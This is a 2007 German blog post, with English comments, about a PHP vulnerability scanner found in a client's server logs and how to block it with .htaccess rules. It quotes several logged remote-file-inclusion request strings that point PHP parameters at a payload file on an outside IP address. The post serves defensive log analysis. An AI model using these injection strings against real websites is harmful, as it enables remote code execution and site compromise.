Sunday, February 25. 2007Morfeus Fucking Scanner
English Version here.
Heute haben wir in den Logfiles eines unserer Kunden Hunderte Einträge eines Useragenten "Morfeus Fucking Scanner" entdeckt. Der hat zwischen 04:33 und 04:45 Uhr ca. 400 verschiedene Files versucht aufzurufen, um Sicherheitslücken oder alte (oder auch vergessene) Skripts auf dem Server zu finden. Das scheint ein automatisches Skript zu sein, das einfach auf Verdacht Hunderte Dateinamen aufruft und guckt, ob etwas antwortet. Einige Beispiele: /portal/index.php?file_name[]=http://203.198.68.236/~lisir/M.txt?&/ /board/naboard_pnr.php?skin=http://203.198.68.236/~lisir/M.txt?&/ /revista/estilo/discreet/index.php?adodb=http://203.198.68.236/~lisir/M.txt?&/ /components/com_performs/performs.php?mosConfig_absolute_path=http://203.198.68.236/~lisir/M.txt?&/ /redaxo/include/addons/simple_user/pages/index.inc.php?REX[INCLUDE_PATH]=http://203.198.68.236/~lisir/M.txt?&/ /jetboxincludes/phpdig/includes/config.php?relative_script_path=http://203.198.68.236/~lisir/M.txt?&/ /phpnuke/modules/vWar_Account/includes/functions_common.php?vwar_root2=http://203.198.68.236/~lisir/M.txt?&/  Die "Angriffe" kamen alle von der IP: 208.67.180.44 und wer den Useragenten aussperren will: HTTP_USER_AGENT: Morfeus Fucking ScannerMit diesen Zeilen in der .htaccess lässt sich der Scanner vom Server aussperren: RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^Morfeus RewriteRule ^.*$ - [F] Wenn dir dieser Artikel geholfen hat, dann darfst du gerne ein paar Cent in unsere Kaffeekasse spenden. 
Comments
Display comments as
(Linear | Threaded)
03/23/2007 11:49PM
Thanks buddy. The code you provided must go to .htaccess ?? Can you post yours here to let me validate?
Sure...
ErrorDocument 404 /index.php DirectoryIndex /index.php RewriteEngine On RewriteBase / deny from all #Morfeus Fucking Scanner aussperren RewriteCond %{HTTP_USER_AGENT} ^Morfeus RewriteRule ^.*$ - [F] #Morfeus Fucking Hacker deny from 203.198.68.236 #Turk Telekom deny from 81.212.0.0/14 # 81.212.0.1 - 81.215.255.254 deny from 85.96.0.0/12 # 85.96.0.1 - 85.111.255.254 deny from 88.224.0.0/11 # 88.224.0.1 - 88.255.255.254 Hope that helps.
Sorry to wake up this post, but this solution did create a 500 error on my server ... In the error logs I can see this : "[...] Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration, [...]"
Where did it come from ? Thanks for your help ! |
QuicksearchKommentare about Magento Commerce Sat, 23.08.2008 16:57 In der Zwischenzeit hat sich hier ja doch einiges getan. [...] about Office 2007 für 79 Euro Mon, 28.07.2008 14:13 Ich habe mir mal die Testversion von Office 2007 angesehen, [...] about Mediaplayer auf der Taskleiste Mon, 28.07.2008 01:52 also ähm bei mir funzt daas trotzdem ned...wenn ich bei [...] about Office 2007 für 79 Euro Sat, 19.07.2008 00:08 Na so der Sonderpreis ist das nicht, vergleiche doch mal die [...] Populäre Stichworte.htaccess, .net, 0900, 301, 560151117, abmahnung, adsense, adwords, ajax, akkaly, alice, amazon, analytics, anleitung, anonym, antispy, antivirus, arcor, ascii, ashampoo, aufzeichnen, auktion, auskunft, ausschreibung, axis, backup, bank, beausoft, beerdigung, berlin, bild, bilder, bin, blog, bmw, brennen, britney spears, brother, browser, buch, c64, canon, ccc, checkout, china, computerbild, copyright, cracks.am, creator, crysis, cse, css, dateiendung, datenschutz, ddos, dec, derproblemloeungsweg, deutschland, digital equipment, dmoz, domain, domainumzug, dos, download, dukudu, dvb-t, DXF, easyjet, ebay, editor, einbrecher, ekelhaft, elv, email, energiesparend, eos, eraser, erfahrungsbericht, evologiq, favicon, fehlermeldung, filezilla, finanzamt, firefox, flugzeuge, form designer, forum, fotos, foxit, foxit reader, foxitsoftware, foxit software, freeware, ftp, fun, fwp, gadgets, geldwäsche, gericht, geschenk, gez, gmail, google, google earth, google maps, google talk, gps, grafiken, gravenreuth, habbo, hacking, hamburg, handy, hash, hausdurchsuchung, hex, hosting, html, hype, iban, ibproarcade, icons, ifilter, images, impressum, internet, internetrecht, ip, isdn, italien, jtl-shop, JTL Wawi, jungledisk, justiz, kalender, kaspersky, keygen, keymaker, kimble, klima, klimaschutz, korrupt, krater, kreditkarte, krieg, lexware, links, linkvendor, m3, magdeburg, magento commerce, map, md5, mediaon, media player, megaupload, messenger, millionär, mobile, mobotix, mod-rewrite, moneybookers, mord, mozy, mp3, mr. wong, msn, msn messenger, namecheap, namen, netcam watcher, netzwerkkamera, nummernschild, office, onlinebanking, opera, osama bin laden, p2p, page organizer, pagerank, paris, paypal, paypal express, pdf, pdf creator, pdf editor, pdf pro pack, pgp, php, phpmyadmin, poker, politik, polizei, premiere, problems-solution, pro pack, ps3, rapidshare, rassist, red baron, referrer, religion, robots.txt, rotwein, rss, s9y, schäuble, security, seo, serendipity, serial, serial.txt, server, shop, simp, sitemap, skype, sniper, software, sonntag, spam, sperrung, spiele, spyware, sql, staat, statistik, stempel, steuern, stgb, strom sparen, suchen, suchmaschine, suchmaschinenmarketing, suchmaschinenoptimierung, surveillancesoftware, sylt, tagesschau, telekom, templates, terra notebook, testbericht, text, the bat!, thomsn, toilettenpapier, tor, torbutton, truecrypt, tv, umfrage, umleitung, urlaub, usb, ust, validator, vbadvanced, vbulletin, vbulletin-blog, verschlüsseln, videoüberwachung, villeroy, viren, virus, visitenkarte, vista, w3c, wbb, webcam, webcam watcher, webkatalog, webserver, werbung, whois, winamp, windkraft, xdrive, xinu, xt commerce, youporn, youtube, zattoo, zoll
Letzte Google Suchesitemap online erstellen
terra laptop inurl:viewerframe?mode=motion terra notebook wie kann ich ein webserver verschlüsseln truecrypt foxit pdf editor key domainumzug seo jtl shop download legends may sleep kimble hilfreiche vista tools foxit pdf editor key morfeus fucking scanner xt:commerce template rapidshare terra laptop dvd verschlüsseln mit truecrypt nurl;"viewerframe?mode=refresh" foxit pdf editor keygen KategorienPartnerBlog abonnierenLanguage/SpracheBlogfever |
evologiq - Das Blog
03/09/2007 10:30PM
Es gibt ein recht aktives Forum mit einer Hand voll Skript Kiddies, die den ganzen Tag nichts anderes tun, als neue Skripte auszuprobieren, die mehr oder weniger automatisch Schwachstellen in PHP oder CGI Anwendungen suchen, um dort die Seiten zu "defacen